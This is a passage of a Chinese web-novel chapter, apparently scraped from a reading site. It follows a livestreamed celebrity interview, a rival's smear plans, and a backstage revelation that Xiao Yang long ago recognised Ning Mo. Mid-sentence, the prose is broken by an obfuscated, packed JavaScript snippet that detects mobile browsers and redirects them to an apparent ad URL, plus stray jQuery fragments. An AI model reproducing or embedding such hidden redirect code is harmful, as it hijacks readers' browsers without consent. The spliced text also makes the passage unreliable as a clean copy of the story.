萧扬比宁茉反应更快，他转过头，神情冷淡地看着白野，一双眼眸冷如寒潭。 白野看他一眼，脸上的笑容带了些深意，继续说道：“但是我觉得，作品比流量更重要，不仅要有运气，还要有站得稳的实力，你说呢萧扬？” 主持人看向萧扬，似乎在等着他的回应。 一旁的宁茉紧紧皱着眉头，白野这话表面听起来是在说自己的想法，可明眼人都听得出来，他在暗讽萧扬只是一时火爆、不会长远。 那几年萧扬在前公司是怎么度过的，白野比谁都清楚，此刻故意笑着提起这段往事，为的就是激起萧扬的怒气，打破萧扬在镜头前表现出的温和冷静。 宁茉在那一瞬间甚至设想，如果自己是萧扬，她不可能心平气和地去面对白野，听到白野这番颠倒黑白、倒打一耙的话，恐怕也会直接变脸，恼怒地怼回去。 可这是在直播，镜头后是千千万万的网友，每一个动作、细微的表情都会被放大……现在的萧扬，绝对不可以失态。 宁茉捏紧手心，直直盯着萧扬，心跳不断加速。 萧扬像是察觉到她的注视，朝她看了一眼，表情没有什么变化，眼神却柔和下来，朝着她很轻地点了点头。 几乎是瞬间，宁茉捏紧的手心蓦然放松下来。 萧扬看向白野，露出一个十分礼貌客气的微笑，说道：“是啊，演员最终还是要靠演技说话，不管角色大小，呈现出好的效果，才算不辜负观众的期待。” 他丝毫没有被激怒，说话语气依旧不急不缓，即使在场所有人都在盯着他，他的表情也没有丝毫异样。 白野的眉头皱了皱，表情有些难看，又很快在助理的提醒下恢复正常，只是冷冷地笑了一声。 “哇哦，两位说的都很有道理呢，”主持人笑着开始了下一个话题，“那么下面这个问题是关于姜明辰的……” …… 之后的直播中，白野有意无意地提了几次萧扬，都被萧扬一一应对过去。 最终结束时，直播人数突破了有史以来的直播在线人数新高，主办方特意派出代表来直播间探望，非常热情地和几位嘉宾打招呼，还给大家带了咖啡。 宁茉盯着白野的那个男助理，在他去拿咖啡的时候，悄悄跟在了他身后。 助理一直在打电话，根本没有注意到身后的人，只是对着电话里有些焦躁地说道：“还要我说几遍，丢掉之前的方案，按张姐的意思办！……得罪？混这个圈你还怕得罪别人？赶紧的，晚会开始前白哥要看到通稿！” “……”宁茉皱了皱眉，想要听的更清楚时，对方猛地转身，正对上宁茉的目光，略一愣怔后，对方神情微变，显然认出了宁茉的身份。 宁茉冲他友好地笑了笑，助理却避开宁茉的目光，只是拎起两份咖啡转身就走了，讲电话的音量也压低了不少。 ……对方似乎有意在躲她？ 宁茉更加确定，白野刚才那番话是有意为之，而且他们还有后招。 她盯着助理的背影微微发呆，直到送咖啡的工作人员轻声问她：“您好，您要什么？” 宁茉回过神：“……一杯冰美式，一杯拿铁，谢谢。” 拿到咖啡，宁茉转身走到萧扬身边：“走吧，我们可以回休息室休息一会儿了……不过由于直播延时，现在距离晚会开始不到二十分钟，我们没多少时间可以休息了。” “好，辛苦你了。”萧扬站起来，跟着她出了访谈直播间的门。 走到无人的走廊时，宁茉忍不住开口：“今天姜明辰竟然没有捣乱，老老实实地在宣传《如意环》……真是稀奇。” 她原本以为姜明辰不会放过奚落萧扬的机会，可是在白野几次三番提到萧扬的时候，姜明辰都没有搭话，偶尔还会抽空怼白野一句。 萧扬点点头：“他不傻，陈导给他下了任务要他好好宣传新剧，这种时候他不会拆我的台。” “反倒是那个白野，”宁茉提起他就一肚子气，“别说拆台了，我看他恨不得把地基都给拆了！” 萧扬垂眸，看着宁茉气鼓鼓的脸，没忍住笑道：“你生气了？” “当然！太缺德了这个人！”宁茉压低声音，语速不断加快，“什么叫运气好？五年才靠一个配角火起来这叫运气好吗？他阴阳怪气的什么意思？” “还好意思说要靠实力说话，他那个新剧，别人都说他演的像个人机，他都不上网的吗？他但凡搜一搜剧评也说不出这种话吧！” “还有他那个助理，也是一脑袋坏水、坏到家了！我刚才还听见他打电话说什么宣传通稿，肯定不是什么好话，不知道要怎么抹黑你呢！” 宁茉越想越气：“我得赶紧告诉浦哥，提防他们使坏，你不知道……” 她蓦然抬头看向萧扬，不期然撞上对方含笑的眼眸，萧扬似乎毫不在意这些事，也没有被白野的挑衅刺激的，只是很感兴趣地望着宁茉，似乎对她的反应关注度更高一些。 “……”宁茉一顿，就在嘴边的话突然说不出来了，她沉默了两秒，问道，“……你不生气吗？他故意提起你在前公司那五年……” 萧扬摇摇头：“比起这些，我更好奇另一件事情。” “……什么？” 萧扬轻轻眨了眨眼，问道：“你之前说，你见过白野。” 宁茉呼吸一滞，瞬间低下了眼，有些不敢看萧扬。 “什么时候？在哪里？”萧扬一字一句道，“……还见了谁？” “……” 昏暗寂静的后台走廊里，宁茉停下脚步，紧张地抿了抿嘴，大脑飞速转动，在思考该怎么回答。 萧扬却像是看穿了她的想法，直截了当道：“在菏谷城，是吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122733|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “！！！” 宁茉猛然抬头，一双眼睛慌乱地瞪圆，眼底是清晰可见的不可置信，径直看向萧扬。 对视的瞬间，看到萧扬无声又坚定的眼眸，宁茉突然意识到——萧扬什么都知道。 他认出来了。 什么时候？认出了多少？萧扬……知道多少？ 宁茉眼前的画面突然有些模糊，时间像一根被无限延展的光束，光束的两端系着曾经的萧扬和宁茉，那时宁茉会穿着漂亮的裙子、化着好看的妆去探班，去给萧扬加油打气，笑容会频繁地出现在她脸上，仿佛生活中有很多值得开心的事情；那时的萧扬青涩稚嫩，合影时很容易脸红，提到未来的新剧时眼眸总是亮晶晶的。 光束的另一端，是沉默无言的两个人，一个沉寂五年后重新挣扎着爬起来、走的跌跌撞撞，每一步都要面对数不清的对手；一个失去了色彩，纵身没入尘烟，变得麻木冷淡，在察觉到有人对自己递来的好意时只会一味地退缩回避，将灵魂牢牢裹在壳子里，闭目塞听。 而现在，这根延长到像是再也无法相见的两端在此刻骤然收缩，五年前的时光猛然撞入现实，所有的回忆都串联起来，将两个人推到面对面望着的咫尺距离。 无法逃避，也无处可逃，所有的徒劳遮掩在此刻都化为乌有，真相……就在眼前。 萧扬没有再说话，只是定定地望着宁茉，眼底是温柔到极致的认真神色，似乎在等她反应过来，又好像只是望着她，如果宁茉不承认，他大概也不会执着，就像之前的无数次试探，每一回他都没有追问下去。 宁茉不知道自己愣了多久，她找回自己声音的时候，语调都带着些颤抖：“你……” 萧扬微微偏头看着她，等着她开口。 “……你知道？……你记得？”宁茉一瞬间不知道该从哪里问起，但她还是问了最核心的一个问题，“你……记得我？” 萧扬的眼底猛然亮了，像是终于听到自己等了许久的问题，也明确了对方不打算再逃避的心态，他拿出手机、翻开相册，几乎不费多少时间就翻到了很早的一张照片。 将手机翻转过来，萧扬给宁茉看他的手机屏幕。 宁茉迟疑着看过去，屏幕上是两个人的合影，合影里的萧扬还穿着戏服，举着手机笑的灿烂，他身边站着的女孩穿着漂亮的浅黄色长裙，有些不知所措地盯着镜头，甚至来不及笑就已经被定格了画面。 看着画面里的女孩，她整个人僵住了：那是……三年前的自己。 萧扬朝她笑笑：“这件黄裙子很好看。” “……” 宁茉眼眸通红，脸颊也泛起热度，浑身窜起电流般颤耸，脑海中一阵阵的耳鸣，像有无数飞鸟同时惊起、振翅的声音响彻耳膜。 她艰难开口，在混乱无序的思绪里勉强找到一点理智，追问道：“……什么时候，你……什么时候认出我的？” 萧扬骤然停顿了几秒，放下手机，目光错开了宁茉的视线，声音也压低了些：“……不久前。” 宁茉突然伸手抓住他的衣袖，熨烫齐整的西装袖口因为用力被抓出褶皱，两个人却都注意不到这种细节：“不久前，是什么时候？” 她心底隐隐有一个答案，不敢相信，却又迫切地想去印证它。 无数情绪翻涌上来，宁茉像抓住一根救命稻草，死死抓着萧扬的衣袖，她知道自己十分失态，但此刻她只想听到那个答案，顾不上其他事情。 “……”萧扬很轻地叹了口气，弯起眼，笑容有些无奈，“三个月前。” 宁茉手指骤然松开，疑问终于落地。 ——三个月前，是她刚来工作室的时候。 原来……萧扬早就知道她是谁。